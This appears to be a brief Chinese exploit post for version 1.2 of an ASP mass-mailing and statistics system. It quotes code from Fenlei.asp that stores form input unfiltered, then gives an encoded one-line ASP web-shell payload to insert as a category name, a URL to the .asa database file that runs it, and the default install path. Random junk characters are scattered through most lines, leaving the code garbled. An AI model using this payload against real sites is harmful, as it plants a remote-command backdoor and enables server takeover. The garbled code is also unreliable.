铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

: q9 _+ |0 U& \/ \IF Request.QueryString("Action")="del" Then
* P9 F" v$ x4 X5 B! Q, N# Q; O" TID=Request.QueryString("ID")
) k8 x0 b) l1 `% f6 LIF Countss ("tui","Fenlei",ID )<>0 then
4 J& T3 J0 \8 M8 P9 ]* H/ M) C0 ~2 A'略
( U: u6 S) @, f4 P0 f% O" m# MIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
* T% E: Z$ U; U/ D. p/ |. wSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
7 d6 p$ Q: ~+ e3 ]Rs.Addnew
Rs("Typename")=Tname
'略
. }  U' C+ J/ m6 z. PSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
6 W5 G. w! L9 D6 Z1 Y'略
; U3 A; t; h  ?9 l3 @%>
9 z  ^3 F& h- i8 ~6 {3 [
* ~' ?1 _6 s, C( T

5 d0 C4 l. Z' a8 l! `" [/ |3 d( m没有过滤，直接写入数据库。
, h+ V- F( K2 Q2 ?# k. w# b
利用方法：

* B# t+ j# K0 T+ F0 D1 f插入：┼攠數畣整爠煥敵瑳∨≡┩>
3 D5 c4 s8 w4 [  h5 z3 y

8 p5 P$ J; E' U. c! P& ~9 c连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp